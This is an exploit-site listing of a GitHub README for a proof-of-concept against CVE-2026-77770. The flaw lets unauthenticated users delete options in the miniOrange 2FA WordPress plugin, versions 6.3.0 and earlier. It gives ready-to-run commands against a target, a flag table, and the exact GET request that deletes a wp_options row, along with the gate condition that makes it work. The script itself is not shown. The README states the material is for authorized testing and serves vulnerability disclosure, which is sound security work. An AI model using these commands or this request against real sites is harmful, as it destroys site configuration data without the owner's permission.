Sploitus

Exploit for CVE-2026-77770

githubexploit · 2026-09-13

Exploit Code

README35 lines
## https://sploitus.com/exploit?id=8C26D07A-23D2-5B73-90D6-118C4482C5C9
# CVE-2026-77770
miniOrange 2FA CVE POC

miniOrange 2FA (WordPress plugin `miniorange-2-factor-authentication`) ≤ 6.3.0 — unauthenticated arbitrary WordPress option deletion via the email-verification link (`userID` / `Txid` / `accessToken`).

For authorized testing only. Do not run this against systems you do not own or have permission to test.

**Requires:** Python 3, standard library only.

```
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u http://TARGET --test --delete blogname
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u https://TARGET --delete blogname --insecure
python3 cve-2026-77770-miniorange-2fa-option-delete.py -u TARGET --delete blogname
```

| Flag | What it does |
|---|---|
| `-u` / `--url` | WordPress site root (required). `http://` or `https://`; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically |
| `--test` | Guest: plugin version + email-verification popup |
| `--delete OPTION` | Delete that `wp_options` row. `blogname` is visible via `/wp-json/` (`BEFORE` / `AFTER`) |
| `--gate OPTION` | Option whose stored value is `3` (the Txid gate). Repeatable. Default: `wp_page_for_privacy_policy`, then `thread_comments_depth` |
| `--insecure` | Skip TLS verify |
| `--timeout` | HTTP timeout seconds (default 30) |

Unauthenticated. The gadget is a GET to `/?userID=OPTION&Txid=GATE&accessToken=x`. `GATE` must currently hold integer `3`. On a miss of the 5-minute window the plugin also writes `GATE=0`.

`--test` does not delete. `--delete blogname` is the public proof (site title in `/wp-json/` goes empty). 6.3.1 prefixes keys (`mo2f_oobe_*`) so unprefixed names are not deleted.

Stdout: `VERSION`, `HANDLER`, `PRESENT`, `SITENAME`, `OPTION`, `BEFORE`, `AFTER`, `GATE`, `VULNERABLE`, `NOT_VULNERABLE`, `NOT_FOUND`, `ATTEMPTED`.

![Working PoC](Working-poc.png)

CVE: [CVE-2026-77770](https://vulners.com/cve/CVE-2026-77770). Plugin changelog 6.3.1.